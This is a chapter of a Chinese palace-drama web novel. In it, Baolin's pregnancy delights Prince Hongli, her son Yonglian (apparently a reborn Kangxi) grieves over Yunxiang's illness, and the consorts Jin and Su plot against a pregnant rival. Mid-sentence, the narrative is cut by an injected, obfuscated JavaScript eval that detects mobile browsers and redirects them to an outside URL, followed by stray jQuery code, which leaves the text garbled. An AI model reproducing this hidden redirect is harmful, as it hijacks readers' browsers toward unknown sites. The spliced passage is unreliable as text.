宝琳一被诊出有孕,弘历就高兴地合不拢嘴了,连忙让人把膳食撤下去重新做一份,看着宝琳的肚子傻笑。
玄烨看着他这一副不值钱的样子翻了个白眼,不过再转念一想弘历这小子和额娘夫妻感情深厚也是好事,总比相看两相厌的好。
只不过他总觉得额娘不像表面上那样鹣鲽情深,心里对弘历是有些淡淡的。
只是如今这些都比不上他马上就要有一个嫡亲的兄弟姐妹了!
“这样算起来,你与富察氏还真是有缘分,永璜和永琏是同一年生的,如今你们俩又一起有了孩子。”弘历笑着说道。
宝琳想了想,倒还真是。
这奇妙的缘分也不知是从何而来的。
芙蓉几个换了些清淡的菜色上来,弘历陪着宝琳用了一些,又陪着她说了会话,最后才恋恋不舍地被宝琳催着去看看富察格格。
本来她也是想一起去的,结果弘历也不知道抽什么风,非让她好好养着,不让她随便走动了。
宝琳没办法,只能让芙蓉取了些补身的药材来,让弘历一道给富察氏捎过去。
弘历看着那些药材,突然握着她的手叹了口气道:“你有孕是喜事,本王本不想同你说这些。”
“只是……十三叔近来怕是不大好。”弘历低声说道:“如今缠绵病榻,太医说恐怕也就是这几个月的事了,恰逢你又有了身孕,本王想着若是十三叔真有个不好,便向皇阿玛说一声,不让你去走动服丧了。”
这两年怡亲王生了病,身体不好,是许多人都知道的事,更何况是他还常往宝亲王府来,而且几乎次次来都要探望永琏,所以宝琳对这事倒是有心理准备。
她叹了口气说:“前些日子下面的人送了些上好的药材来,待会妾身便让人找出来送去十三叔那。”
“这些事你都不用操心,好好养着身子就好。”弘历欣慰地拍了拍她的手,思索了一会又说道:“府里的事你有精神便管,若是不想管了就都丢给侧福晋,如今万事都以你和腹中的孩子为重。”
宝琳抿唇笑了笑,无奈地道:“哪里就这么娇弱了,又不是头一胎了。”
“妇人生产都是鬼门关。”弘历严肃道:“万万不能大意。”
好不容易等弘历絮叨完了离开,宝琳才松了口气。
杜鹃捧了盏清茶上来,笑着说道:“王爷对福晋是几年如一日的好,如今又要有第二个小主子了,奴婢们看着都高兴呢。”
宝琳摸了摸还平坦着的小腹,也笑了笑。
永琏作为她头一个孩子实在是太听话懂事了,从小到大没让她受过一点累,所以现在她觉得再养一个也挺不错。
想到永琏,她扭头一看永琏不知什么时候正坐在椅子上怔怔地发呆,像丢了魂一样。
“永琏。”宝琳轻轻地唤了他一声,问道:“这是怎么了?”
玄烨这才回过神来,他从椅子上跳下来,脱了鞋直接爬上榻,扑到了宝琳怀里,闷闷地不说话了。
宝琳摸着他毛绒绒的脑袋,柔声问道:“这是怎么了?”
她心想难不成是担心她有了第二个孩子所以以后不疼他了?
好像好多孩子都会这么想。
“永琏,以后不管有几个弟弟妹妹,额娘都是一样疼爱你的,我们永琏这么乖巧,额娘最疼你了。”宝琳抚摸着玄烨的头,温柔地说道。
玄烨埋在宝琳胸前,摇了摇头。
半晌后他抬起头说道:“额娘,叔爷爷今年不过才四十四岁……”
玄烨也有一段时间没见到胤祥了,好似是被老四派去巡查河务了,不过几个月的工夫怎么就病重了。
这两年来胤祥和他相处的时候不算多也不算少,但比起两年前胤祐薨逝,现在玄烨的心里更难受了。
把宝琳怀孕带来的喜悦也给冲淡了。
提起这个宝琳也是有些难受,怡亲王纯属是把自己累到油尽灯枯的,不少人都曾劝过,就连雍正都亲自劝过他不要如此拼命,可他心里却总像是憋着一股劲一样,非要把所有的事都做到最好,也不知道是想给谁看。
“人都有生老病死,非人力所能及。”宝琳说道:“咱们能做的就是在人还在世的时候,不要让自己留下遗憾,明白吗?”
玄烨思索了一会,重重地点了点头。
怡亲王毕竟如今还好好的,而且到底是府外的事,而宝亲王府里因为宝琳和富察氏再次同时有孕,又有不少人帕子都要撕烂了。
头一个咬碎牙的就是金氏了。
尤其是她本来应该有一个孩子,结果却那么莫名其妙地没了。
宝琳和富察氏有孕之后,弘历最常去的就是高氏和金氏那了,这两人又是积年的冤家,这一下明争暗斗地就更厉害了。
只是高氏到底不比金氏有手段,掰扯下来弘历还是去金氏那多上一些。
这日弘历宿在她院子里,两人用完晚膳后,弘历便在榻上拾了本书看,金氏换了寝衣柔若无骨地靠了上去,美人投怀送抱弘历自然不会拒绝,温香软玉在怀,又有美人红袖添香,这书读地更有趣味了。
不过没过一会,弘历就发现金氏今日一直秀眉微蹙,不大高兴的样子。
“今儿是怎么了,谁又惹着你了?”弘历懒洋洋地问。
金氏的贴身婢女翠雯上前奉茶,顺势说道:“回王爷,格格喜欢的那牡丹花让二阿哥给折了,格格看着那残花便有些难过。”
“本王还当是什么事呢,不过是几朵花罢了。”弘历瞥她一眼,说道:“永琏还小,他喜欢什么便让他玩去罢。”
这话里的偏袒简直是明显地不能再明显了。
金氏也不傻,她自然能看出弘历眼神里的警告,二阿哥可是王爷捧在手心里的宝贝金疙瘩,满府里谁不知道。
故而她立刻说道:“王爷说的是,妾身哪敢和二阿哥计较这些,眼看要入夏了,园子里花开地漂亮,若是二阿哥喜欢,明日妾身便让人送去给二阿哥赏玩。”
弘历屈膝靠坐着,一手轻敲着膝盖,漫不经心地嗯了一声。
“今儿倒是转了性了,如此懂事。”
金氏娇娇地笑了声,靠在弘历膝头上说道:“如今福晋和富察姐姐都有孕在身,妾身虽然不才,可入府也有些时日了,自然想着能为福晋分忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533866|186455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
说完她观察了一番弘历的神色,继续说道:“富察姐姐这一胎怀地辛苦,人瘦了老些,每日都是恹恹的,大阿哥又正是调皮的时候,妾身想着不如挑个合适的人帮忙照顾着大阿哥,也好让富察姐姐安心养胎。”
这话金氏确实没扯谎,富察氏这一胎怀地格外辛苦,几乎是一点东西也吃不下,吃什么吐什么,整日里没什么精神,十二个时辰里有十个时辰都在床上躺着。
弘历抬了抬眼,差不多的话昨日高氏也同他说过。
高氏的意思是想把永璜接到她那去照顾,金氏虽然没有直接说,但是话里话外自然也是这个意思,两个人都盯上了永璜。
弘历懒地掺和她们俩之间这笔糊涂账,和应付高氏一样含糊地说此事要和宝琳商量。
第二日弘历走了之后不久,苏氏就来了。
这一年多来,金氏和苏氏的同盟关系还是比较牢靠的,两人之间虽有些虚情假意,但如今确实是一条绳上的人。
“妹妹,昨儿王爷怎么说?”苏氏问道。
金氏正在梳妆,闻言眼都没抬地说道:“还能怎么说,这种事终归要问过福晋。”
“那可就糟了。”苏氏说道:“谁不知道福晋一向和侧福晋亲厚,必然是将大阿哥给了她了。”
苏氏喝了口茶,继续说道:“如今这富察格格又有了身孕,待这孩子生下来保不齐就要请封侧福晋了,到时候还哪有咱们的份。”
王爷日后是要当皇帝的这她们都知道,所以这潜邸里的位份就更要紧了,但凡坐上侧福晋的位置,来日册封时起码也是个妃位,若只是个小小的格格,那还得从常在贵人开始熬,还不如如今临门一脚来地便宜。
“所以咱们才不能让她这个孩子生下来。”金氏冷冷地说道:“她的出身还没有咱们好,仗着肚子争气就想爬到前头去?做梦。”
金氏想抚养大阿哥,也是想着待到来日富察氏生产之时动些手脚,让她一尸两命,到时她便可以顺理成章地一直抚养大阿哥,有了大阿哥在,再加上她的宠爱,便能往侧福晋拼一拼。
只是高侧福晋横插一脚,真是麻烦。
“那咱们如今还能怎么办?”苏氏也忧心忡忡。
宝琳和高氏亲厚,这是谁都知道的事。
金氏扶了扶鬓角,满意地看了看头上簪的八宝金钗,说道:“那就让福晋想偏心也偏心不得,不就得了。”
一大早正院里陆陆续续就搬来了不少牡丹,说是金格格给二阿哥赏玩的。
玄烨皱着眉看着那些牡丹,心道金氏还真是用心险恶,看着是恭敬地讨好,实则是满府里告诉额娘纵容他欺压庶母,摘了几朵花不说还让人把花全送来了正院。
宝琳显然也看地明白,她站在廊下看了一会,玄烨便跑了过去。
“额娘,您别生气。”
宝琳笑了笑:“额娘没生气。”
想讽刺她恃宠生娇?
那她就恃宠生娇给她看看。
“芙蓉,让人把这些花都摆在院子里,最显眼的地方。”宝琳吩咐道。
芙蓉应了声是,立刻着人去办了。